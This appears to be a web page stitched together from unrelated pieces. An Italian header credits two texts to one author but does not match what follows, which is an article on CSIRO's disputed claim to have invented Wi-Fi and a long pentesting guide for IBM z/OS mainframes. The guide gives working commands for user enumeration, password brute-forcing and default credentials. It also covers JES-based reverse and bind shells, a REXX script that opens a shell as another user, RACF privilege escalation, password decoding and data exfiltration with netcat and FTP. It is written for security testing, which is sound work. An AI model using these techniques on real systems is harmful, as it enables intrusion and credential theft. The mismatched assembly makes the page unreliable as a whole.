due testi di Luca Zanini

pontebianco.noblogs.org/post/2…

compostxt.blogspot.com/2024/08…

Wireless networking is all-pervasive in our modern lives. Wi-Fi technology lives in our smartphones, our laptops, and even our watches. Internet is available to be plucked out of the air in virtually every home across the country. Wi-Fi has been one of the grand computing revolutions of the past few decades.

It might surprise you to know that Australia proudly claims the invention of Wi-Fi as its own. It had good reason to, as well— given the money that would surely be due to the creators of the technology. However, dig deeper, and you’ll find things are altogether more complex.

Big Ideas

The official Wi-Fi logo.
It all began at the Commonwealth Scientific and Industrial Research Organization, or CSIRO. The government agency has a wide-ranging brief to pursue research goals across many areas. In the 1990s, this extended to research into various radio technologies, including wireless networking.

The CSIRO is very proud of what it achieved, crediting itself with “Bringing WiFi to the world.” It’s a common piece of trivia thrown around the pub as a bit of national pride—it was scientists Down Under that managed to cook up one of the biggest technologies of recent times!

This might sound a little confusing to you if you’ve looked into the history of Wi-Fi at all. Wasn’t it the IEEE that established the working group for 802.11? And wasn’t it that standard that was released to the public in 1997? Indeed, it was!

The fact is that many groups were working on wireless networking technology in the 1980s and 1990s. Notably, the CSIRO was among them, but it wasn’t the first by any means—nor was it involved with the group behind 802.11. That group formed in 1990, while the precursor to 802.11 was actually developed by NCR Corporation/AT&T in a lab in the Netherlands in 1991. The first standard of what would later become Wi-Fi—802.11-1997—was established by the IEEE based on a proposal by Lucent and NTT, with a bitrate of just 2 MBit/s and operating at 2.4GHz. This standard operated based on frequency-hopping or direct-sequence spread spectrum technology. This later developed into the popular 802.11b standard in 1999, which upped the speed to 11 Mbit/s. 802.11a came later, switching to 5GHz and using a modulation scheme based around orthogonal frequency division multiplexing (OFDM).
A diagram from the CSIRO patent for wireless LAN technology, dated 1993.
Given we apparently know who invented Wi-Fi, why are Australians allegedly taking credit? Well, it all comes down to patents. A team at the CSIRO had long been developing wireless networking technologies on its own. In fact, the group filed a patent on 19 November 1993 entitled “Invention: A Wireless Lan.” The crux of the patent was the idea of using multicarrier modulation to get around a frustrating problem—that of multipath interference in indoor environments. This was followed up with a later US patent in 1996 following along the same lines.

The patents were filed because the CSIRO team reckoned they’d cracked wireless networking at rates of many megabits per second. But the details differ quite significantly from the modern networking technologies we use today. Read the patents, and you’ll see repeated references to “operating at frequencies in excess of 10 GHz.” Indeed, the diagrams in the patent documents refer to transmissions in the 60 to 61 GHz range. That’s rather different from the mainstream Wi-Fi standards established by the IEEE. The CSIRO tried over the years to find commercial partners to work with to establish its technology, however, little came of it barring a short-lived start-up called Radiata that was swallowed up by Cisco, never to be seen again.

youtube.com/embed/HFngngjy4fk?…

Steve Jobs shocked the crowd with a demonstration of the first mainstream laptop with wireless networking in 1999. Funnily enough, the CSIRO name didn’t come up.

Based on the fact that the CSIRO wasn’t in the 802.11 working group, and that its patents don’t correspond to the frequencies or specific technologies used in Wi-Fi, you might assume that the CSIRO wouldn’t have any right to claim the invention of Wi-Fi. And yet, the agency’s website could very much give you that impression! So what’s going on?

The CSIRO had been working on wireless LAN technology at the same time as everyone else. It had, by and large, failed to directly commercialize anything it had developed. However, the agency still had its patents. Thus, in the 2000s, it contested that it effectively held the rights to the techniques developed for effective wireless networking, and that those techniques were used in Wi-Fi standards. After writing to multiple companies demanding payment, it came up short. The CSIRO started taking wireless networking companies to court, charging that various companies had violated its patents and demanding heavy royalties, up to $4 per device in some cases. It contested that its scientists had come up with a unique combination of OFDM multiplexing, forward error correction, and interleaving that was key to making wireless networking practical.
An excerpt from the CSIRO’s Australian patent filing in 1993. The agency’s 1996 US patent covers much of the same ground.
A first test case against a Japanese company called Buffalo Technology went the CSIRO’s way. A follow-up case in 2009 aimed at a group of 14 companies. After four days of testimony, the case would have gone down to a jury decision, many members of which would not have been particularly well educated on the finer points of radio communications. The matter was instead settled for $205 million in the CSIRO’s favor. 2012 saw the Australian group go again, taking on a group of nine companies including T-Mobile, AT&T, Lenovo, and Broadcom. This case ended in a further $229 million settlement paid to the CSIRO.

We know little about what went on in these cases, nor the negotiations involved. Transcripts from the short-lived 2009 case had defence lawyers pointing out that the modulation techniques used in the Wi-Fi standards had been around for decades prior to the CSIRO’s later wireless LAN patent. Meanwhile, the CSIRO stuck to its guns, claiming that it was the combination of techniques that made wireless LAN possible, and that it deserved fair recompense for the use of its patented techniques.

Was this valid? Well, to a degree, that’s how patents work. If you patent an idea, and it’s deemed unique and special, you can generally demand a payment others that like to use it. For better or worse, the CSIRO was granted a US patent for its combination of techniques to do wireless networking. Other companies may have come to similar conclusions on their own, but that didn’t get a patent for it and that left them open to very expensive litigation from the CSIRO.

However, there’s a big caveat here. None of this means that the CSIRO invented Wi-Fi. These days, the agency’s website is careful with the wording, noting that it “invented Wireless LAN.”
The CSIRO has published several comics about the history of Wi-Fi, which might confuse some as to the agency’s role in the standard. This paragraph is a more reserved explanation, though it accuses other companies of having “less success”—a bold statement given that 802.11 was commercially successful, and the CSIRO’s 60 GHz ideas weren’t. Credit: CSIRO website via screenshot
It’s certainly valid to say that the CSIRO’s scientists did invent a wireless networking technique. The problem is that in the mass media, this has commonly been transliterated to say that the agency invented Wi-Fi, which it obviously did not. Of course, this misconception doesn’t hurt the agency’s public profile one bit.

Ultimately, the CSIRO did file some patents. It did come up with a wireless networking technique in the 1990s. But did it invent Wi-Fi? Certainly not. And many will contest that the agency’s patent should not have earned it any money from equipment built to standards it had no role in developing. Still, the myth with persist for some time to come. At least until someone writes a New York Times bestseller on the true and exact history of the real Wi-Fi standards. Can’t wait.

Information technology is developing at a rapid pace, with completely new areas emerging, such as DevOps and DevSecOps – and we’re striving to keep up. However, in some projects, you may encounter systems built on rather outdated principles. Such systems must be approached with care, since a single mistake can lead to data loss and malfunctions. To some extent, this is true for today’s systems too, but for systems with a rich history, the risks are significantly higher.

Mainframes are just such an example of old architecture. These software-hardware solutions rely on principles developed in the 1960s. However, they’re still in use today, for example, to simultaneously process a large number of transactions, perform complex computing operations, and so on. They’re typically found in stock exchanges, banks, airports, and other organizations that process a lot of transactions. Despite their outdated design principles, today’s mainframe operating systems support some Linux components required to run certain utilities and web servers.

Due to the high cost and specialized focus of mainframes, these devices are rarely subject to pentesting. As a result, the community of specialists in this area is quite small. When a pentester first encounters a mainframe in a project, they have to thoroughly research this device type: its operating system principles, service features, and possible methods of compromise. It’s also important to understand the potential consequences of actions taken on the mainframe in order to exclude any potential disruptive ones from the testing plan. There are quite a few articles describing the exploitation of individual components, but gathering all the information together is no easy task. There are also guides on finding configuration errors within the mainframe itself (Example 1, Example 2, Example 3), however they require an understanding of its internal structure.

In this article, we’ll discuss the approach to pentesting IBM mainframes based on the z/OS operating system and the Resource Access Control Facility (RACF) security package, examine the technical features of such mainframes, and demonstrate how the behavior of familiar services connected to a mainframe can lead to its compromise. Thus, this article presents the path that a pentester must take to gain access to a mainframe, escalate the privileges of the current user, find possible vectors for moving to other mainframes or systems on the local network, and exfiltrate data without causing irreversible consequences. For clarity, we’ve prepared an interactive diagram of this path with various commands, links, and comments. Below is a screenshot of this diagram.

General overview of mainframe pentesting

Overview of z/OS

Components of z/OS

The functional structure of z/OS consists of three basic modules:

• System services;
• System administration and management services;
• UNIX System Services (USS).

These three modules form the foundation for the operation of other modules that support today’s information systems. For example, thanks to USS, z/OS is compatible with WebSphere web servers, DB2 databases, and more.

System services include these components:

• Job Entry System (JES) – a system for receiving and processing tasks
• Base Control Program – the core of system services that manages interaction between other z/OS components such as JES, TSO, and other.
• Data Facility Storage Management System – a system for working with datasets, including their storage and processing
• Time Sharing Options (TSO) – a system for user interaction that serves as a user interface and accepts commands for managing z/OS

These are the main subsystems we will discuss in this article. Of course, you can find more detailed descriptions of the system components, but to properly understand them you have to delve even deeper into z/OS.

Reconnaissance

Network reconnaissance

Let’s start with the reconnaissance phase, or how to figure out if you’re dealing with a mainframe. The first sign may be a set of TCP ports obtained from a network scan of the host.

The table above shows examples of TCP ports typical for mainframes. Note the unusual placement of the FTP (port 900/tcp) and Telnet (port 1023/tcp) services. This setup is often found on mainframes.

Another sign of a mainframe may be the banners of current services displayed when attempting to connect. If they contain keywords like z/OS, mainframe, or IBM, the services are most likely running on a mainframe.

User enumeration

The reconnaissance phase also includes obtaining a list of authorized users. A distinctive feature of the well-known Telnet service when running on a mainframe is that in response to an identification attempt, it returns whether the user has the right to connect. This feature allows you to obtain a list of authorized users without harming the mainframe. Here is an example of connection attempts by two users: NOTEXIS receives an error, while IBMUSER is prompted for a password.

Attempts to connect to the mainframe via Telnet by users NOTEXIS and IBMUSER

This feature is well-known, and there are tools to automate the process, such as the patator or nmap scripts:
patator telnet_login host=<ip> port=23
Existing users listing automation with the patator
nmap -p 23 <ip> --script tso-enum --script-args userdb=tso_users_full.txt -vv
Existing users listing automation with the nmap

A pentester needs a list of existing users to gain initial access. Often, knowing a unique username is enough to enter the system. More about this in the next phase.

Initial access

It’s not uncommon to use passwords that match the username for authentication on mainframe computers. Therefore, if unique usernames were found in the previous step, they may be sufficient for connecting to and controlling the mainframe. Default passwords may also be set for standard users, such as:

• IBMUSER:SYS1
• SYSADM:SYSADM
• WEBADM:WEBADM

More examples of default passwords for z/OS users can be found on GitHub.

The reason for using such weak passwords is the weak default password policy. It can be strengthened with the ICHPWX11 installation exit, but this is not installed by default.

The z/OS operating system uses the Resource Access Control Facility (RACF) as its security package. Although z/OS supports other security packages such as ACF2 and Top Secret, these are third-party software that needs to be installed separately. In RACF, there are two password-based authentication methods: PASSWORD and PASSPHRASE. Additionally, z/OS allows you to use both methods simultaneously, as some applications or services may authenticate users only by the PASSWORD method.

1 Used by default; can be supplemented with lowercase Latin letters and additional special characters.
2 Minimum passphrase length depends on whether the ICHPWX11 exit is installed.

The table above shows that the default PASSWORD authentication method supports passwords no longer than eight characters, which can contain digits, uppercase Latin letters, and three special characters. Although the password policy can be strengthened with installation exits, such weak initial settings encourage system administrators to use simple passwords.

Password cracking

Since it’s possible to log into mainframe services using PASSWORD (or PASSPHRASE), they may be susceptible to password brute-force attacks, so it’s a good idea to check this vector. For this purpose, you can use the previously mentioned patator or nmap scripts. Below are commands for brute-forcing PASSWORD for the Telnet service using these tools.
patator telnet_login host=<ip> port=23

nmap -p 23 <ip> --script tso-brute -vv
Regarding brute-forcing PASSPHRASE, we found that guessing the correct LOGIN-PASSWORD pair for a user with this setting can only be done through the IBM HTTP Server service. To do this, you can use any known password cracking tool that supports the HTTP Basic Authentication method, for example, hydra:
hydra -l username -P passwords.txt -s 80 -f <ip> http-get /
It’s important to note that password brute-forcing can lead to account lockout, disrupting the mainframe’s operation. Therefore, before conducting an attack using this method, ensure that the user blocking policy allows it.

Execution

Regardless of whether a correct login-password pair was obtained in the previous stage, there are several ways to execute commands on the mainframe.

Abuse of Job Entry System

Job Entry System (JES) is a component that handles batch jobs. It accepts and logs jobs from various sources, analyzes them, adds them to the queue, sends them for execution, and outputs the results. The basic workflow of JES is illustrated in the diagram:

Structure of JES

Executing commands via Job Entry System and the FTP server

Interestingly, one of the sources of batch jobs is the FTP server. Thus, with valid mainframe user credentials, you can connect to the FTP server and send a batch job file for execution on the mainframe. This batch job can include instructions to obtain a bind or reverse shell. This scenario can be implemented through the following steps:

• Connect to the FTP server with valid credentials.
• Upload a utility compiled for z/OS, for example netcat, to the FTP server.
• Switch the current FTP session mode to JES with the command SITE=JES. In this mode, the mainframe will process any file uploaded to the FTP server as a batch job directed to JES.
• Upload a JCL-format batch job to the FTP server, which will launch the previously uploaded netcat utility with specified parameters to obtain a bind or reverse shell.
• Accept the connection request from the reverse shell or connect to the bind shell.

An example of a netcat version compiled for z/OS v1.10 is available in the repository github.com/mainframed/NC110-OM…. Since the mainframe uses EBCDIC character encoding, it’s necessary to translate ASCII characters to EBCDIC for the utility to understand your commands. The Python script netebcdicat was created for this, allowing you to accept a reverse shell connection request or connect to a bind shell.

Using the netcat utility is one example of exploiting JES to execute commands on the mainframe. There are other ways to achieve this goal. For example, the following tools can be used to automate this process:

• metasploit framework
  
  • payload/cmd/mainframe/generic_jcl
  • exploit/mainframe/ftp/ftp_jcl_creds
  • payload/mainframe/shell_reverse_tcp

  
  

• github.com/mainframed/MainTP
• github.com/mainframed/TShOcker

The MainTP script contains source code for creating bind and reverse shells in C, as well as JCL batch job instructions. These instructions tell the mainframe to compile and then launch the shell. Like netcat, MainTP helps you gain access to the UNIX component of the mainframe, called UNIX System Services. As a result, the created bind or reverse shell allows you to manage the z/OS UNIX Shell component, which is analogous to the SH or BASH interpreter. This form of interaction with the mainframe is more or less familiar to pentesters, as many z/OS UNIX Shell commands closely resemble BASH or SH commands from well-known UNIX-like systems such as Debian, Ubuntu, CentOS, and FreeBSD.

The TShOcker script loads and runs a REXX-format script on the mainframe, creating a bind or reverse shell, and gives it control over the Time Sharing Options (TSO) resource manager – a command interpreter for z/OS that allows you to manage mainframe resources: access data, manage users, launch programs, and so on.

Network Job Entry

Network Job Entry (NJE) is a part of the Job Entry System that allows multiple mainframes to communicate with each other, sending various files, batch jobs, system commands, and so on.

Communication of mainframes in different cities using NJE

NJE is used when an organization has several geographically separated mainframes. Depending on the configuration, by abusing NJE you can perform certain actions on the mainframe. For example, in the default configuration, a pentester can execute commands as another user without a password or special token. However, exploiting NJE requires certain information in advance, such as the names of NJE nodes participating in the NJE network. This topic is beyond the scope of this article and deserves special attention. More detailed information on exploiting NJE can be found in the PoC || GTFO journal. You can also check out the pentesting tool NJElib for this purpose.

Interacting with the mainframe through VTAM

Virtual Telecommunications Access Method (VTAM) is a subsystem that allows various mainframe applications to be accessed over a network, specifically through the TCP/IP stack.

VTAM

The TN3270 protocol, developed in the 1970s, is used for network interaction with mainframe applications. At that time, communication with mainframes was carried out through special devices (terminals).

Terminal

Today, the TN3270 protocol can work over the Telnet protocol, and there are several utilities (terminal emulators), such as x3270, that allow to control mainframe applications or resource managers. You can launch x3270 using the following commands:
x3270 -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>

x3270 -charset <charset> -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>
After connecting to the mainframe using the TN3270 protocol via Telnet, you can select the application or resource manager for interaction.

Selecting an application on a mainframe

CICS

The Customer Information Control System (CICS) is responsible for transaction management and serves as a layer through which external applications, such as software on store clerks’ computers, interact with mainframe resources. A CICS application can be written in various programming languages supported by the mainframe: С/Java/COBOL. Access to CICS is provided by VTAM. A discussion of attacks on this application deserves a separate article, but you can find details about the exploitation and tools at the following links:

• github.com/ayoul3/cicspwn,
• github.com/sensepost/birp.

Resource managers

Resource managers allow you to interactively manage mainframe resources, control access, and configure mainframe components. Let’s look at two basic resource managers as an example.

Time Sharing Options/Extensions

Time Sharing Options/Extensions, or simply Time Sharing Options (TSO), is an interactive command-line user interface with its own command system, allowing you to manage mainframe resources: run programs and jobs, manipulate datasets, manage users, and more.

Time Sharing Options

Interactive System Productivity Facility

The Interactive System Productivity Facility (ISPF) resource manager is more like a graphical interface for managing mainframe resources, but its functionality is very similar to TSO, and essentially the two can be used interchangeably.

Interactive System Productivity Facility

Using standard services

As we’ve seen in the previous phases, mainframes include not only z/OS-specific services but also more common server management services like Telnet and SSH. With valid credentials, you can connect to the mainframe using standard clients for these services.

Connecting to a mainframe via Telnet protocol

As shown in the image, once connected to the services, you gain access to USS and the ability to execute z/OS UNIX Shell commands. This type of access is more convenient and familiar to a pentester than managing the mainframe through TSO/ISPF or via JES and FTP. It can also be used for information gathering, privilege escalation, data exfiltration, and more. You can also execute TSO resource manager commands through the z/OS UNIX Shell using the tsocmd utility.

Web applications

As mentioned earlier, mainframes support current technologies, including the web servers IBM HTTP Server or WebSphere, allowing the launch of various web applications. And where there are web applications, there may be vulnerabilities.

For example, you may encounter a version of IBM HTTP Server that is vulnerable to CVE-2012-5955, which allows a remote attacker to execute arbitrary commands. An example of exploiting this vulnerability is available at the following link: github.com/mainframed/logica/b….

You may also encounter custom web applications written by the client, which could have various vulnerabilities leading to remote code execution, for example, through unsecure file uploads or command injections.

Since the main web servers use USS, exploiting vulnerabilities in the web server or web application can also give access to USS.

Privilege escalation

Overview

Before discussing privilege escalation methods on a mainframe, let’s examine the basic access control flow on the device.

Access control scheme in z/OS

When a user attempts to access a mainframe resource, the System Authorization Facility (SAF) component queries the security package. z/OS supports various security packages (ACF2, Top Secret, RACF). In this article, we’ll focus on IBM’s standard security package – Resource Access Control Facility (RACF). RACF consists of a service and a database containing information about users, groups, resources, datasets, and more, as well as user access rights and privileges. The RACF service communicates with the SAF and decides whether the user has certain privileges or access rights.

When a user successfully logs in, their profile is loaded into the RACF service’s RAM. The profile contains an Accessor Environment Element (ACEE) block, which specifies the user’s rights and privileges. All subsequent access decisions are based on this data. One of the most popular methods of privilege escalation involves finding a way to modify the contents of the ACEE in the user’s profile in the RACF service’s RAM. However, this is not the only method.

Configuration errors related to dataset access control

Authorized Program Facility

In terms of mainframes, a dataset is analogous to a file, consisting of records and containing text information, scripts, programs, libraries, application data, and so on. Several types of dataset exist, each with its own structure. Information about a dataset (attributes, access rights, audit settings, and more) is also stored in the RACF database. Configuration errors affecting dataset access rights can lead to privilege escalation.

Let’s look at an interesting feature of z/OS – the Authorized Program Facility (APF). This security mechanism grants programs the right to perform privileged operations, such as accessing arbitrary areas of RAM. Programs with such access are called APF-authorized. They can switch to a special “supervisor” mode during execution, in which they perform privileged operations. Thus, if you find write access rights to any APF-authorized program or library, you can add code to it that finds the current user’s profile in the RACF service’s RAM and modifies its ACEE to increase the user’s privileges.

Enumeration

There are several ways to search for APF-authorized programs and libraries:

• Command in TSO

CONSOLE
d prog, apfFor this, you need privileges to execute the CONSOLE command.

Executing the CONSOLE command

After displaying the list of APF-authorized programs and libraries, you can enter the following command into TSO to find out access rights:
listdsd dataset('<dataset>') gen

Finding out access rights

• Scripts

github.com/ayoul3/Privesc/blob…
github.com/mainframed/Enumerat… the ELV.APF script in TSO to obtain a list of APF-authorized programs and libraries looks like this:
ex 'ELV.APF' 'LIST'If you see ALTER or UPDATE access to any APF-authorized program or library, you can modify its content.

Exploitation

There are several exploits that allow you to abuse excessive access to an APF-authorized program or library.

• Metasploit

payload/cmd/mainframe/apf_privesc_jcl

• Scripts

github.com/ayoul3/Privesc/blob…

ELV.APF script

The ELV.APF script searches for the user profile in RAM and assigns it the SPECIAL attribute, which gives the user the highest privileges in the system for the current session. It’s important to note that to retain the privileges, the script executes a TSO command that adds the SPECIAL and OPERATIONS attributes to the user in the RACF database. As a result, the user’s privileges are retained upon recreating the session.
ALU "||userid()||" SPECIAL OPERATIONS
If you don’t want to make changes to the RACF database, you can act as a more privileged user who is already logged in and whose profile is present in RAM. For this, another script from the same repository is suitable:
github.com/ayoul3/Privesc/blob…
To get a list of logged-in users, use the TSO command:
ex 'ELV.SELF'
And to perform actions as the user, execute the following command:
ex 'ELV.SELF' 'TARGET=<USERID> APF=<APFPATH>

WARNING mode

Datasets have an attribute that determines whether the dataset is in WARNING mode. In this mode, any access to the dataset is permitted, regardless of the access rights specified in the RACF database. If someone tries to violate the access restrictions set in RACF, a warning message is generated, but access is still granted. Thus, if the dataset stores sensitive information, such as the RACF database, an APF-authorized library, or a certain resource in a resource class, any user can modify or exfiltrate the dataset, leading to privilege escalation or data leakage.

Obtaining a list of datasets and resources in WARNING mode

Examples of TSO commands for identifying datasets and resources in WARNING mode:
sr class(<CLASSNAME>) warning

SR ALL WARNING NOMASK

Configuration errors related to resource class access control

Overview

Resource classes on the mainframe define the class of privileges that users or groups may have. For example, the OPERCMDS resource class defines which operator commands can be executed, UNIXPRIV defines privileges in USS, DASDVOL defines privileges for access to DASD volumes, and so on. Interestingly, some privileges may be interchangeable. A schematic diagram of resource classes and access rights to certain resources is presented below.

FACILITY and OPERCMDS resource classes

Each resource class consists of individual resources responsible for specific privileges. For example, the BPX.FILEATTR.APF resource in the FACILITY resource class allow you to assign an extended attribute to files in USS using the command extattr +a. A file with this attribute becomes an APF-authorized program or library.

Access rights to a resource for a user are determined by the Access Authority field. This can have one of six values (listed in ascending order of access level): NONE, EXECUTE, READ, UPDATE, CONTROL, ALTER. The logic of assigning privileges to users in z/OS is not straightforward and differs from more common systems: most often, for a user to gain a privilege associated with a resource, it’s sufficient to have minimal access to that resource, such as READ. Intuitively, it might seem that the READ access level only allows a user to view a list of users with access to the resource, but in practice, this is not the case. Below are some well-known resource classes and specific resources for which configuration errors may lead to privilege escalation.

Resource class TSOAUTH

The TSOAUTH resource class is used to protect TSO resources, specifically, to define which commands a user can enter in TSO.

TESTAUTH

The TESTAUTH resource in the TSOAUTH class determines whether a user can enter the TESTAUTH command. This command runs a program as APF-authorized. If a user has access to this resource with READ rights or higher, they can elevate current privileges through misconfiguration of APF-authorized programs and libraries.

Enumeration

To check if the current user has privileges to execute the TESTAUTH command, the following command can be entered in TSO:
RLIST TSOAUTH TESTAUTH AUTH

Exploitation

Example of running a program in TSO as APF-authorized through TESTAUTH:
TESTAUTH 'SYS1.LINKLIB(<SOMELIB>)'
You can also view examples of exploiting the TESTAUTH resource at this link: github.com/zBit31/testauth.

Resource class OPERCMDS

The OPERCMDS resource class defines access to commands for managing various subsystems in z/OS: Multiple Virtual Storage (MVS), JES2, JES3, RACF, and others. In other words, it defines a set of commands that a user can use to manage z/OS, retrieve status information, and so on.

MVS.SETPROG.**

The Access Authority value can be assigned not only to an individual resource but also to a group of resources. In this case, asterisks ** are used instead of part of the resource name. Thus, MVS.SETPROG.** is a group of resources where UPDATE access allows any dataset to be APF-authorized.

Enumeration

To check if the current user has privileges to execute the SETPROG command within the MVS.SETPROG.** resource group, the following command can be entered in TSO:
RLIST OPERCMDS MVS.SETPROG.** AUTH
RLIST OPERCMDS MVS.SET.PROG.** AUTH

Exploitation

An example of setting a dataset as APF-authorized:
SETPROG APF,ADD,DSNAME=<SOMEDATASET>,SMS

Resource class FACILITY

The FACILITY resource class defines user privileges when performing certain operations. It helps avoid excessive assignment to users of the SPECIAL attribute, which grants unlimited rights, and separates high privileges into individual resources. This way, users can be only assigned the necessary privileges.

IRR.PASSWORD.RESET

The resource IRR.PASSWORD.RESET allows you to reset passwords and passphrases for users without special attributes (SPECIAL, OPERATIONS, AUDITOR, ROAUDIT). The Access Authority value sufficient for exploitation is READ.

Enumeration

To find out if the current user has sufficient access to the IRR.PASSWORD.RESET resource, the following command can be used:
RLIST FACILITY IRR.PASSWORD.RESET AUTH

Exploitation

The following command resets passwords and passphrases for users without special attributes:
ALU <USERID> PASS(<PASSWORD>) RESUME

BPX.SUPERUSER

Owning the BPX.SUPERUSER resource makes the user a superuser in the UNIX subsystem. This means they can switch to superuser mode using the ‘
su’ command in z/OS UNIX Shell. To do this, it’s sufficient to have Access Authority READ.

Enumeration

The following command will help determine if the current user has access to the BPX/SUPERUSER resource:
RLIST FACILITY BPX.SUPERUSER AUTH

Exploitation

To exploit this, you need to switch to z/OS UNIX Shell from TSO using the OMVS command and then enter
su root.OMVS
su root

BPX.FILEATTR.APF

The resource BPX.FILEATTR.APF allows you to assign an attribute to a file in z/OS UNIX Shell that makes it APF-authorized. The necessary level of Access Authority for exploiting this resource is READ.

Enumeration

To find out if the current user has the necessary level of access to the BPX.FILEATTR.APF resource, execute the following command:
RLIST FACILITY BPX.FILEATTR.APF AUTH

Exploitation

To exploit this resource, you need to switch to z/OS UNIX Shell using the OMVS command and then execute extattr +a.
OMVS
extattr +a ./somefile

Resource class SURROGAT

The SURROGAT resource class is responsible for performing actions on behalf of other users in various z/OS subsystems. Specifically, it defines the ability to run a task in JES or execute a command in z/OS UNIX Shell on behalf of another user without a password. For more detailed information about this resource class, you can watch this presentation by security expert Jake Labelle at DEF CON Safe talks:

youtube.com/embed/KUND0KllCKc?…

<USERID>.SUBMIT

A resource with this mask allows you to submit tasks for execution in JES on behalf of user <USERID> using the TSO SUBMIT command. Details can be found here.

Enumeration

To obtain data on the availability of a specific user, use the command below, replacing <USERID> with the username of interest:
RLIST SURROGAT <USERID>.SUBMIT AUTHUSER
To get a list of all available users, you can use the following command:
SEARCH CLASS(SURROGAT) FILTER(*.SUBMIT)

Exploitation

To take advantage of this resource, you need to create a task and submit it for execution in JES. The task can contain various operations. For example, you can use the CATSO.REXX script mentioned when describing the execution phase. This script is used to create a bind or reverse shell, allowing you to control TSO on behalf of another user. For convenience, here is the REXX script (SURROGAT_EXPLOIT.REXX), which takes <USERID> as an input argument and runs CATSO.REXX on its behalf with specified parameters to open a bind shell.
/* REXX */
PARSE ARG id
QUEUE "//SURR01 JOB (9),'SURR01',CLASS=A,USER="id","
QUEUE "// MSGCLASS=H,MSGLEVEL=(1,1)"
QUEUE "//SURR012 EXEC PGM=IKJEFT01"
QUEUE "//SYSTSPRT DD SYSOUT=*"
QUEUE "//SYSTSIN DD *"
QUEUE "EXEC 'TESTUSER.CATSO.REXX' 'L 8855'"
QUEUE "//*"
QUEUE "$$"
o = OUTTRAP('output.')
"SUBMIT * END($$)"
o = OUTTRAP(OFF)
During exploitation, you need to change the following lines in the script:

• TESTUSER.CATSO.REXX – the location of CATSO.REXX
• SURR01 – the name of the batch job (no more than 8 characters)
• SURR012 – the name of the step during execution (no more than 8 characters)
• L 8855 – parameters for CATSO.REXX that launch the script in listening mode on port 8855/TCP.

An example of performing actions as the user IBMUSER:
EX 'SURROGAT_EXPLOIT.REXX' 'IBMUSER'

BPX.SRV.<USERID>

A resource with this mask allows you to act as another user in z/OS UNIX Shell.

Enumeration

To obtain data on the availability of a specific user, use the command below, replacing <USERID> with the specific username:
RLIST SURROGAT BPX.SRV.<USERID> AUTHUSER
To get a list of all available users, you can use the following command:
SEARCH CLASS(SURROGAT) FILTER(BPX.SRV.*)

Exploitation

For exploitation, you need to switch to z/OS UNIX Shell from TSO using the OMVS command, and then enter
su -s <USERID>, where you need to substitute the login of a specific user instead of <USERID>.OMVS
su -s <USERID>
The above is just a sample of the existing resource classes and resources. You may encounter a different set of available privileges. In such cases, studying the documentation on privileges will help you understand how they can be abused to gain access to sensitive information or escalate current privileges.

Privilege escalation in UNIX System Services

In the context of configuration violations affecting access control to resource classes, it’s worth considering ways of working with z/OS UNIX Shell. As mentioned earlier, the command TSO
OMVS is used to start z/OS UNIX Shell.

Entering the OMVS command

z/OS Unix Shell

In addition to the methods mentioned above, there is an SH script called OMVSEnum.sh that searches in the UNIX subsystem for interesting files and utilities that the current user has some access to, allowing for privilege escalation or extraction of sensitive data.

It’s also interesting that when assigning a file an attribute that makes it APF-authorized using the command
extattr +a ./somefile, it can be executed not only in z/OS UNIX Shell but also found in TSO as a dataset. Files in USS are special types of dataset, such as HFS (Hierarchical file system) or z/FS (z/OS file system). A diagram of how files and directories are stored in z/OS for USS is presented below.

USS file storage

Thus, you can access a file both through z/OS UNIX Shell and through TSO.

CVE-2012-5951

The vulnerability CVE-2012-5951 was found in the NetView service some time ago, making it possible to escalate privileges in USS.

Determining exploitability

To determine whether the system has this vulnerability, you need to find the path to the
cnmeunix utility, which is located at the mask /usr/lpp/netview/vXrX/bin/cnmeunix. If the value of vXrX >= 5.1 but <=5.4 or 6.1, then the NetView service is vulnerable to CVE-2012-5951.

Exploitation

To escalate privileges through the exploitation of CVE-2012-5951, use the kuku script.

Collection

The information gathering phase is most relevant if access to the mainframe is not the final goal of the pentest. z/OS supports integration with other operating systems, particularly through LDAP or Kerberos, and the credentials for such integrations are located in USS files. You may also have access to files containing logins and passwords of privileged users, such as WebSphere configuration files. It’s easiest to obtain this data from USS.

Below is a table with the location of potentially interesting files.

It’s worth paying attention the WebSphere configuration files. Often the credentials they contain are protected by weak encryption and are marked with the prefix {XOR}. They can be easily decrypted, for example, using the script websphere-xor-password-decode-encode.py.
python2.7 websphere-xor-password-decode-encode.py -d Lz4sLCgwLTs=
LDAP passwords can also be stored in a special stash file, which is easy to decrypt. Below is an example of creating such a stash file:
/usr/lpp/internet/sbin/htadm -stash stash_file.sth SuperSecretLDAPPass
To decrypt the stash file, execute the following command. It should be noted that the encoding in z/OS is EBCDIC, and the file must be converted to ASCII after decryption.
perl -C0 -n0xF5 -e 'print $_^"\xF5"x length."\n";exit' < key.sth > unstash.key
dd conv=ascii if=unstash.key of=unstash_ascii.key

Exfiltration

A few words about the exfiltration process. The most convenient way to perform exfiltration is through standard protocols like FTP, SSH, and their utilities – FTP, SCP, SSH, and so on.

Data can also be downloaded using the x3270 utility if you don’t have access to other protocols.

Data exfiltration using the x3270 utility

Another effective, albeit “dirty” method is to copy files to a directory with static data of the HTTP server and access it via the necessary path.

Netcat can be used for exfiltration, but you need to remember the difference in encoding.
nc -l 4321 < source_file.txt

nc zos_ip_address 4321 > destination_file.txt
If you need to exfiltrate a dataset during mainframe pentesting, the x3270 and FTP utilities are typically used. When connecting to the FTP server, you will gain access to the user dataset and can download the data within it.
get SOME.DATASET.PATH
You can also try going a few datasets back using ‘..’ to access sensitive data, such as the RACF database.
cd ..
cd SYS1
get RACF
If it’s not possible to directly exfiltrate a file from USS, you can copy it to a dataset using the following command:
OGET '/path/to/hfs/file' DATASETNAME BINARY
You can directly download a file from USS through the FTP server. After connecting, simply change the directory, for example, to /tmp, and further directory transitions will be made within USS.

You can copy a dataset to a USS file and exfiltrate it using the following command:
cp -B "//'SYS1.RACF'" /tmp/racf

Conclusion

We’ve examined the features of mainframes and the main attack vectors against them. It should be noted that the list of techniques, tactics, and procedures for accessing a mainframe considered in this article is far from exhaustive. Despite the fact that these complex systems have been around for a while, the community dedicated to pentesting them is relatively small. Therefore, consider this article a starting point for working with mainframes, and don’t hesitate to bring something new to this field. There’s plenty of room for new findings.

In the next article, we will describe the internal structure of RACF in more detail and discuss a tool that simplifies the search for configuration errors in RACF through offline examination of the security package database.

securelist.com/zos-mainframe-p…

